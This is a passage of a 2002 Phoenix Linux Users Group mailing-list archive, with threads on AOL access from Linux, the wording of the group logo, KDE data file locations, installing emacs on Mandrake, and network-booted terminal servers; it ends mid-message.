From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 29 Jun 2002 15:55:23 -0700 (MST) Subject: Linux and AOL In-Reply-To: <003101c21fa4$3aa93320$0b02a8c0@krycom> Message-ID: Am 29. Jun, 2002 schwätzte Richard L. Proctor so: > You might wnat to have a look here... > > http://news.com.com/2100-1023-244438.html?legacy=cnet That's from Aug 2000. I've talked to people from AOL more recently than that and they suggest corporate policy is to ignore GNU/Linux. It's not the market they want and it's a small market. Best bet to connect to AOL from GNU/Linux would be to try to get it working under WINE and send AOL bug reports. Even better would be to get people to move to a better service provider. If AOL sees their customer base leaving because there's no mechanism to use them as an ISP from GNU/Linux they'll start considering GNU/Linux as a valid target platform. ciao, der.hans -- # https://www.LuftHans.com/ # Only wimps use tape backup: _real_ men just upload their important # stuff on ftp, and let the rest of the world mirror it. -- Linus Torvalds From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 22:59:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 29 Jun 2002 15:59:14 -0700 (MST) Subject: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: Am 29. Jun, 2002 schwätzte slr so: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? It's hardest to change the banner. As long as what it says is not greviously wrong, it's probably what we should adopt. BTW, thanks again for all the work the two of you have done on the logo for us! ciao, der.hans -- # https://www.LuftHans.com/ # I'm not anti-social, I'm pro-individual. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 23:40:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 29 Jun 2002 16:40:48 -0700 (MST) Subject: cheap dual-power supply boxen Message-ID: moin, moin, what's the point of having the web server on dual power supplies if the firewall isn't? So now I need a couple of cheap boxen with dual power supplies. They're for firewalls, so firepower isn't necessary. I will be doing some interesting things on them, so I can't just dust off a P90 this time around, though. Any suggestions on where to get something inexpensively? I'll probably end up buying cases and putting everything together myself, but not having to deal with PC hardware is a good thing, so I'd rather buy something pre-built. ciao, der.hans -- # https://www.LuftHans.com/ # It's up to the reader to make the book interesting. # An author has only the opportunity to make it uninteresting. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 00:10:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sat, 29 Jun 2002 17:10:46 -0700 Subject: cheap dual-power supply boxen References: Message-ID: <3D1E4C86.6DB0EF51@cox.net> "der.hans" wrote: > ... I will be doing some interesting things on them, > so I can't just dust off a P90 this time around, though. Well, you could always buy that HP9000 (see below) and ditch the software ... ;-) Vic Subject: [azipa] HP9000 L2000 For sale Date: Sat, 29 Jun 2002 09:16:13 -0700 From: "Chris Besing" To: Great for a dev box or possibly a production box. Has all software licenses including Omniback for the DLT drive. Includes 8ft. rack. and extras. Also have Broadvision enterprise software that could be used for development purposes. Please email to cbesing@cox.net for more details. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 01:02:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 18:02:26 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206291802.26280.dennisk@sahuaro.f2s.com> On Saturday 29 June 2002 06:33 am, William Lindley wrote: > Our banner says "Users" Group... let's be consistent at least. > > The logo should say "Users". > > \\/ User is singular, isn't it? Our goal is to get many "users" no? Dennis From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 03:46:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 20:46:24 -0700 Subject: Backing up Kaddressbook & Korganizer Data-How? Message-ID: <200206292046.24601.dennisk@sahuaro.f2s.com> Where are the data files for Kaddressbook & Korganizer kept? I've looked under /~.kde/share/apps but both kab and korganizer are empty folders. A search of the kde-user and kde-pim mail list revealed little. thanks, Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:05:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Peter Buechler) Date: Sat, 29 Jun 2002 21:05:13 -0700 Subject: cheap dual-power supply boxen In-Reply-To: References: Message-ID: <200206292105.13050.peter.buechler@cox.net> When I want something cheap that is just a bit behind the curve, I check out http://computersurplusoutlet.com. On Saturday 29 June 2002 16:40, der.hans wrote: > moin, moin, > > what's the point of having the web server on dual power supplies if the > firewall isn't? > > So now I need a couple of cheap boxen with dual power supplies. They're for > firewalls, so firepower isn't necessary. I will be doing some interesting > things on them, so I can't just dust off a P90 this time around, though. > > Any suggestions on where to get something inexpensively? I'll probably end > up buying cases and putting everything together myself, but not having to > deal with PC hardware is a good thing, so I'd rather buy something > pre-built. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:38:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 29 Jun 2002 21:38:35 -0700 Subject: Linux and AOL In-Reply-To: References: Message-ID: <1025411916.31898.15.camel@hawk> I've also heard the same thing. While they would love it if RedHat or someone provided an AOL client (and support). They've decided that with the different favors of *nix there would be no WAY they could support them all with the kind of basic computers help their customers have come to expect. They also realize that most Linux users would *never* use AOL so they aren't even going to try for that space. Though everyone knows that they are still working on the client (a significant number of their programmers perfer Linux and needed a way to test from their boxes). I don't think they *ever* intend to release it. Carl P. On Sat, 2002-06-29 at 15:55, der.hans wrote: > Am 29. Jun, 2002 schwätzte Richard L. Proctor so: > > > You might wnat to have a look here... > > > > http://news.com.com/2100-1023-244438.html?legacy=cnet > > That's from Aug 2000. I've talked to people from AOL more recently than that > and they suggest corporate policy is to ignore GNU/Linux. It's not the market > they want and it's a small market. > > Best bet to connect to AOL from GNU/Linux would be to try to get it working > under WINE and send AOL bug reports. > > Even better would be to get people to move to a better service provider. If > AOL sees their customer base leaving because there's no mechanism to use > them as an ISP from GNU/Linux they'll start considering GNU/Linux as a valid > target platform. > > ciao, > > der.hans > -- > # https://www.LuftHans.com/ > # Only wimps use tape backup: _real_ men just upload their important > # stuff on ftp, and let the rest of the world mirror it. -- Linus Torvalds > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:34:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sat, 29 Jun 2002 21:34:10 -0700 Subject: Linux and AOL References: <1025411916.31898.15.camel@hawk> Message-ID: <3D1E8A42.671C558F@cox.net> While net-searching on this topic, I did happen on a piece of software called PengAOL, which supposedly is AOL dialup software for Linux. Does anyone on the list have experience with this software? The software and docs are at http://www.pengaol.org/ -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:50:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 29 Jun 2002 23:50:41 -0500 (CDT) Subject: Linux and AOL In-Reply-To: Message-ID: AOL protocol has been successfully reverse engineered why wait for AOL? http://www.pengaol.ipfrance.net/eng/ About Peng for Aol Peng is a free program for Linux which sets up a bridge IP for the Aol's subscribers. In practice it allows to connect to internet by way of AOL. This program is a reverse ingeenering of the AOL's program by analyzing bytes sent to the modem. No code's line of the official program was dismantle. The final goal is to offer an access with a high level of stability and security at the Aol's users under linux. -Derek On Sat, 29 Jun 2002, Matt Alexander wrote: > There's currently not an AOL client for Linux. You can use the AOL > Instant Messenger on Linux and you can check your email through their web > interface, however. I would suggest that you contact AOL and let them > know you're interested in an official Linux AOL client. I know of a lot > of people that only use their computer for AOL and they wouldn't mind > having Linux, as long as they can still use AOL. > ~M > > > On Sat, 29 Jun 2002, Lee Einer wrote: > > > Hi, all- > > > > One of my co-workers is interested in getting Linux installed on her > > PC at home. She uses AOL for internet access. How difficult is it to > > get a Linux box set up for AOL? > > > > -- > > Lee Einer > > > > http://members.cox.net/appealsman/ > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:55:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 29 Jun 2002 23:55:51 -0500 (CDT) Subject: Gamespy In-Reply-To: Message-ID: An AOL on Lniux Tutorial. http://www.yolinux.com/TUTORIALS/LinuxTutorialAOL.html -Derek From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 06:13:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sat, 29 Jun 2002 23:13:14 -0700 Subject: Backing up Kaddressbook & Korganizer Data-How? In-Reply-To: <200206292046.24601.dennisk@sahuaro.f2s.com> References: <200206292046.24601.dennisk@sahuaro.f2s.com> Message-ID: <200206292313.20388.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mine are under .kde/share/apps/kabc and my korganizer is a shared file on my server so my wife and I see the same thing.. Can't help you there. Sorry kabc directory should have a std.vcf file. nathan Am Samstag 29 Juni 2002 08:46 nachmittags/abends schrieb Dennis Kibbe: > Where are the data files for Kaddressbook & Korganizer kept? I've looked > under /~.kde/share/apps but both kab and korganizer are empty folders. A > search of the kde-user and kde-pim mail list revealed little. > > thanks, > > Dennis Kibbe > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Nathan England plug@the-arcanum.org "A free society is one where it is safe to be unpopular" --Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9HqF9Q7yNnsYcupwRAhzSAJ9yebL5wHPGGlUNHupf0uxpbsAX2QCeOTmx yHk8NslmPky84u0jGERqMAY= =BW9D -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 06:20:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 23:20:02 -0700 Subject: Backing up Kaddressbook & Korganizer Data-How? In-Reply-To: <200206292046.24601.dennisk@sahuaro.f2s.com> References: <200206292046.24601.dennisk@sahuaro.f2s.com> Message-ID: <200206292320.02544.dennisk@sahuaro.f2s.com> On Saturday 29 June 2002 08:46 pm, Dennis Kibbe wrote: > Where are the data files for Kaddressbook & Korganizer kept? I've looked > under /~.kde/share/apps but both kab and korganizer are empty folders. A > search of the kde-user and kde-pim mail list revealed little. > > thanks, > > Dennis Kibbe Here's what I discovered in case anyone is interested. Comments & corrections are welcomed. 1. Mail is under /~Mail (POP3, sendmail, etc.) or /~.kde/share/apps/kmail/imap (for IMAP servers). Earthlink is still the older POP3 2. KMail filter are contained in the KMail config file /~.kde/share/config/kmailrc 3. KOrganizer saves in standard iCalendar file format *.ics (see /~.kde/share/apps/korganizer/calendar.ics) 4. Konqueror bookmarks are a standard *.xml format (see /~.kde/share/apps/konqueror/bookmarks.xml) 5. KAddressbook saves in standard *.vcf format (see /~.kde/share/apps/kabc/std.vcf) 6. Backing up /~.kde/share/ or at least /~.kde/share/cache, config & apps should do it. 7. /~.kde is a hidden folder. In Konqueror use "View Hidden Files" or in a terminal window tpye ls -a 8. All of these file formats are open standards and can be read with any text editor I'm preparing this for a friend who is new to Linux & KDE From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 06:56:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sat, 29 Jun 2002 23:56:33 -0700 Subject: shmget error on sylpheed and a few others Message-ID: <20020629235633.3c75e749.snoogans@qwest.net> i get this error when starting up sylpheed, i also have gotten when i ran enlightenment it said it used it for the pager and it couldn't have all the fancy pictured in it because of this error, anyone have any ideas on how to fix it? Gdk-WARNING **: shmget failed: error 38 (Function not implemented) From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 08:16:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Moynahan) Date: Sun, 30 Jun 2002 01:16:41 -0700 Subject: Install emacs on Linux Message-ID: I've just installed linux(Mandrake 8.1) and I'm trying to get emacs installed. Disk 2 of Mandrake 8.1 is in the cdrom and accessible. When I run this command 'rpm -ivh emacs-X11-20.7-17mdk.i586.rpm' I get this error message 'error: failed dependencies: emacs is needed by emacs-X11-20.7-17mdk.i586.rpm'. Any suggestions on how to get Emacs installed would be greatly appreciated. Thanks, Mark _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 13:44:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Sun, 30 Jun 2002 06:44:53 -0700 Subject: Install emacs on Linux In-Reply-To: References: Message-ID: <15647.2901.86089.120204@bela.interhack.net> Mark> I've just installed linux(Mandrake 8.1) and I'm Mark> trying to get emacs installed. Disk 2 of Mark> Mandrake 8.1 is in the cdrom and accessible. Mark> When I run this command 'rpm -ivh Mark> emacs-X11-20.7-17mdk.i586.rpm' I get this error Mark> message 'error: failed dependencies: emacs is Mark> needed by emacs-X11-20.7-17mdk.i586.rpm'. Any Mark> suggestions on how to get Emacs installed would Mark> be greatly appreciated. You might just try building and installing it from source. I don't know exactly where to get GNU Emacs. I've been using XEmacs for a very long time, and always make sure I unselect it whenever I upgrade my OS so I don't have two conflicting versions out there. (Same with several other packages, such as Apache, MySQL, Mozilla, and two or three others. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 14:40:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Sun, 30 Jun 2002 07:40:11 -0700 Subject: Linux Terminal Server Message-ID: <000801c22044$0ae21990$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C22009.5D5AC720 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is there any reason why a non stipped down computer wouldn't work as a = workstation. I don't have an extra old compter sitting around. Could I = use the boot from floppy option and then leave the nomral operatining = system intact but unused?=20 My understanding is that once the boot over the network occurs, all disk = activity is then on the server. If this can be done, with no impact on = the operating system installed on the workstation, my employer will let = me proceed. =20 I have been having some real good results using my linuxbox at work and = 1 of my co-workers is real interested in using linux for for 2 reasons. = First the greater lack of virus vulnerablility and second, the virtual = desktops, which allows each of our general types of work to be = isolatedin its own virtual desktop. Thisis a real advantage as each = catagory sometimes results in as many as 4 browser windows and 1 or 2 = other applications running. All done on one desktop gets unmanageable = real fast. Regards, Charlie ------=_NextPart_000_0005_01C22009.5D5AC720 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is there any reason why a non stipped = down computer=20 wouldn't work as a workstation. I don't have an extra old compter = sitting=20 around. Could I use the boot from floppy option and then leave the = nomral=20 operatining system intact but unused?
 
My understanding is that once the boot = over the=20 network occurs, all disk activity is then on the server. If this can be = done,=20 with no impact on the operating system installed on the workstation, my = employer=20 will let me proceed.  
 
I have been having some real good = results using my=20 linuxbox at work and 1 of my co-workers is real interested in using = linux for=20 for 2 reasons. First the greater lack of virus vulnerablility and = second, the=20 virtual desktops, which allows each of our general types of work to be=20 isolatedin its own virtual desktop. Thisis a real advantage as  = each=20 catagory sometimes results in as many as 4 browser windows and 1 or 2 = other=20 applications running. All done on one desktop gets unmanageable real=20 fast.
 
Regards,
 
 
Charlie
------=_NextPart_000_0005_01C22009.5D5AC720-- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 16:29:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sun, 30 Jun 2002 09:29:05 -0700 Subject: Configuring Exim to work with K-mail for multiple users Message-ID: <3D1F31D1.4C0B3791@cox.net> Hi, all- I am trying to get Kmail up and running, and am having difficulties getting exim configured correctly. What should the Qualify domain and Local domains be set to in my exim.conf file? -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 16:39:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 30 Jun 2002 09:39:55 -0700 Subject: Install emacs on Linux In-Reply-To: References: Message-ID: <1025455196.3011.4.camel@desktop.capnet.lan> On Sun, 2002-06-30 at 01:16, Mark Moynahan wrote: > I've just installed linux(Mandrake 8.1) and I'm trying to get emacs > installed. Disk 2 of Mandrake 8.1 is in the cdrom and accessible. When I run > this command 'rpm -ivh emacs-X11-20.7-17mdk.i586.rpm' I get this error > message 'error: failed dependencies: emacs is needed by > emacs-X11-20.7-17mdk.i586.rpm'. Any suggestions on how to get Emacs > installed would be greatly appreciated. > > Thanks, > > Mark Mark, I've got Mandrake 8.2, but IIRC this should also work in 8.1. Use "urpmi emacs*" and it should install all the dependencies. You could also install it from the Software Manager, which is just a GUI front end for urpmi. HTH, -- D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 15:35:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert N. Eaton) Date: Sun, 30 Jun 2002 11:35:27 -0400 Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206301825.g5UIP0MY010144@mail.infinet-is.com> On Saturday 29 June 2002 03:38 pm, you wrote: > Hmm... Any English professors in the audience? We could do: > > User > Users > User's > Users' > > All of these examples can be found in use by other Linux groups on the > 'net. We're a group of "Linux users," but we're also a "user group." So > I guess it depends on where you put the emphasis on the phrase. The Linux > group in Portland uses: > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > problem all together. ;-) > ~M If you want to get excessively grammatical: User = noun, sungular Users= noun, plural User's = noun, singular, possessive Users' = noun, plural, possessive Any of the four could grammatically appear before "Group" . "User's" implies "only one". Sort of "I am the only Linux user." "Users'" implies "many." "I am one of many Linux users." "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives telling "what kind of" group just as in "school house" , "school" tells "what kind of house. My choice would be "Users" as it implies multiple users, and lacks the clutter of the apostrophe, which, in a logo, is really unnecessary. -- Bob Eaton Curiosity didn't kill the cat: it was lack of information. -- Bob Eaton Curiosity didn't kill the cat: it was lack of information. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:09:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 30 Jun 2002 12:09:53 -0700 (PDT) Subject: Linux Terminal Server In-Reply-To: <000801c22044$0ae21990$6400a8c0@amd1000> Message-ID: Yes, you could boot from an LTS over the network and leave your existing installation untouched. On Sun, 30 Jun 2002, Charlie Bullen wrote: > Is there any reason why a non stipped down computer wouldn't work as a workstation. I don't have an extra old compter sitting around. Could I use the boot from floppy option and then leave the nomral operatining system intact but unused? > > My understanding is that once the boot over the network occurs, all disk activity is then on the server. If this can be done, with no impact on the operating system installed on the workstation, my employer will let me proceed. > > I have been having some real good results using my linuxbox at work and 1 of my co-workers is real interested in using linux for for 2 reasons. First the greater lack of virus vulnerablility and second, the virtual desktops, which allows each of our general types of work to be isolatedin its own virtual desktop. Thisis a real advantage as each catagory sometimes results in as many as 4 browser windows and 1 or 2 other applications running. All done on one desktop gets unmanageable real fast. > > Regards, > > > Charlie > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:12:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 30 Jun 2002 12:12:24 -0700 (PDT) Subject: Backing up Kaddressbook & Korganizer Data-How? In-Reply-To: <200206292320.02544.dennisk@sahuaro.f2s.com> Message-ID: sed 's/\/~/~\//g' On Sat, 29 Jun 2002, Dennis Kibbe wrote: > On Saturday 29 June 2002 08:46 pm, Dennis Kibbe wrote: > > Where are the data files for Kaddressbook & Korganizer kept? I've looked > > under /~.kde/share/apps but both kab and korganizer are empty folders. A > > search of the kde-user and kde-pim mail list revealed little. > > > > thanks, > > > > Dennis Kibbe > > Here's what I discovered in case anyone is interested. Comments & corrections > are welcomed. > > 1. Mail is under /~Mail (POP3, sendmail, etc.) or /~.kde/share/apps/kmail/imap > (for IMAP servers). Earthlink is still the older POP3 > 2. KMail filter are contained in the KMail config file > /~.kde/share/config/kmailrc > 3. KOrganizer saves in standard iCalendar file format *.ics (see > /~.kde/share/apps/korganizer/calendar.ics) > 4. Konqueror bookmarks are a standard *.xml format (see > /~.kde/share/apps/konqueror/bookmarks.xml) > 5. KAddressbook saves in standard *.vcf format (see > /~.kde/share/apps/kabc/std.vcf) > 6. Backing up /~.kde/share/ or at least /~.kde/share/cache, config & apps > should do it. > 7. /~.kde is a hidden folder. In Konqueror use "View Hidden Files" or in a > terminal window tpye ls -a > 8. All of these file formats are open standards and can be read with any text > editor > > I'm preparing this for a friend who is new to Linux & KDE > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:39:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sun, 30 Jun 2002 12:39:23 -0700 Subject: Grammar, Was: PLUG Logo Update! References: <200206301825.g5UIP0MY010144@mail.infinet-is.com> Message-ID: <003601c2206d$d6779340$0601010a@tickticker.com> ok, here's my 2 cents.... in this context USER is being used as an adjective.. this is a group. a USER group. a linux USER group. users group is like a double negative. but in this case it's a double plural. that's all i got to say 'bout that. anthony ----- Original Message ----- From: "Robert N. Eaton" To: Sent: Sunday, June 30, 2002 8:35 AM Subject: Re: Grammar, Was: PLUG Logo Update! > On Saturday 29 June 2002 03:38 pm, you wrote: > > Hmm... Any English professors in the audience? We could do: > > > > User > > Users > > User's > > Users' > > > > All of these examples can be found in use by other Linux groups on the > > 'net. We're a group of "Linux users," but we're also a "user group." So > > I guess it depends on where you put the emphasis on the phrase. The Linux > > group in Portland uses: > > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > > problem all together. ;-) > > ~M > If you want to get excessively grammatical: > > User = noun, sungular > Users= noun, plural > User's = noun, singular, possessive > Users' = noun, plural, possessive > > Any of the four could grammatically appear before "Group" . > > "User's" implies "only one". Sort of "I am the only Linux user." > "Users'" implies "many." "I am one of many Linux users." > "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives > telling "what kind of" group just as in "school house" , "school" tells "what > kind of house. > > My choice would be "Users" as it implies multiple users, and lacks the > clutter of the apostrophe, which, in a logo, is really unnecessary. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 18:45:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 30 Jun 2002 14:45:05 -0400 (EDT) Subject: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: FWIW: According to Google, the split is about 50/50, though "java user group" outnumbers "java users group" by a large margin. On Sat, 29 Jun 2002, slr wrote: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? > > slr > > ----- Original Message ----- > From: "William Lindley" > To: > Sent: Saturday, June 29, 2002 6:33 AM > Subject: Re: PLUG Logo Update! > > > > Our banner says "Users" Group... let's be consistent at least. > > > > The logo should say "Users". > > > > \\/ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:11:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 30 Jun 2002 15:11:44 -0400 (EDT) Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: <200206301825.g5UIP0MY010144@mail.infinet-is.com> Message-ID: IMHO, the two grammatically rational ones are "User" and "Users'": User Group: a group whose elements are of type "User" Users' Group: a group owned by many users Users Group: a group whose elements are of type array of users User's Group: a group owned by a single user I would lean towards "User" as it has the least characters, and is the most used of the four options according to Google: "user group": 982,000 "users group" & "users' group": 752,000 (can't get them separated) "user's group": 79,900 On Sun, 30 Jun 2002, Robert N. Eaton wrote: > On Saturday 29 June 2002 03:38 pm, you wrote: > > Hmm... Any English professors in the audience? We could do: > > > > User > > Users > > User's > > Users' > > > > All of these examples can be found in use by other Linux groups on the > > 'net. We're a group of "Linux users," but we're also a "user group." So > > I guess it depends on where you put the emphasis on the phrase. The Linux > > group in Portland uses: > > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > > problem all together. ;-) > > ~M > If you want to get excessively grammatical: > > User = noun, sungular > Users= noun, plural > User's = noun, singular, possessive > Users' = noun, plural, possessive > > Any of the four could grammatically appear before "Group" . > > "User's" implies "only one". Sort of "I am the only Linux user." > "Users'" implies "many." "I am one of many Linux users." > "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives > telling "what kind of" group just as in "school house" , "school" tells "what > kind of house. > > My choice would be "Users" as it implies multiple users, and lacks the > clutter of the apostrophe, which, in a logo, is really unnecessary. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 20:14:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Sun, 30 Jun 2002 13:14:17 -0700 Subject: Linux and AOL References: <3D1DFB82.80D376EE@cox.net> <001301c21fac$3ad24550$6400a8c0@amd1000> Message-ID: <005101c22072$bb141010$6901a8c0@chimpy> Current AOL clients do not function on linux under wine or codeweavers wine. This is well documented on the codeweavers app database page. I've tried it a few times to coax people off of windows and never been successful. After install the setup program trys to do a few things with networking and blows chunks. I'm sure it won't be this way for long though - give the pace of wine development. ----- Original Message ----- From: "Charlie Bullen" > I wonder if you could use the AOL client for windows on linux with wine. > I've had good results with codeweavers wine and also their crossoveroffice > product. In fact, if I have an AOL disk in my mailbox today I may just give > it a try. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 20:25:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 30 Jun 2002 13:25:03 -0700 Subject: Grammar, Was: PLUG Logo Update! References: Message-ID: <3D1F691F.6A32682B@leml.asu.edu> there is also the drug addiction analogy of "users"... but I did not say that... back to my regularily scheduled writing... EBo -- Robert Bushman wrote: > > IMHO, the two grammatically rational ones are "User" and "Users'": > > User Group: a group whose elements are of type "User" > Users' Group: a group owned by many users > > Users Group: a group whose elements are of type array of users > User's Group: a group owned by a single user > > I would lean towards "User" as it has the least characters, > and is the most used of the four options according to Google: > "user group": 982,000 > "users group" & "users' group": 752,000 (can't get them separated) > "user's group": 79,900 > > On Sun, 30 Jun 2002, Robert N. Eaton wrote: > > > On Saturday 29 June 2002 03:38 pm, you wrote: > > > Hmm... Any English professors in the audience? We could do: > > > > > > User > > > Users > > > User's > > > Users' > > > > > > All of these examples can be found in use by other Linux groups on the > > > 'net. We're a group of "Linux users," but we're also a "user group." So > > > I guess it depends on where you put the emphasis on the phrase. The Linux > > > group in Portland uses: > > > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > > > problem all together. ;-) > > > ~M > > If you want to get excessively grammatical: > > > > User = noun, sungular > > Users= noun, plural > > User's = noun, singular, possessive > > Users' = noun, plural, possessive > > > > Any of the four could grammatically appear before "Group" . > > > > "User's" implies "only one". Sort of "I 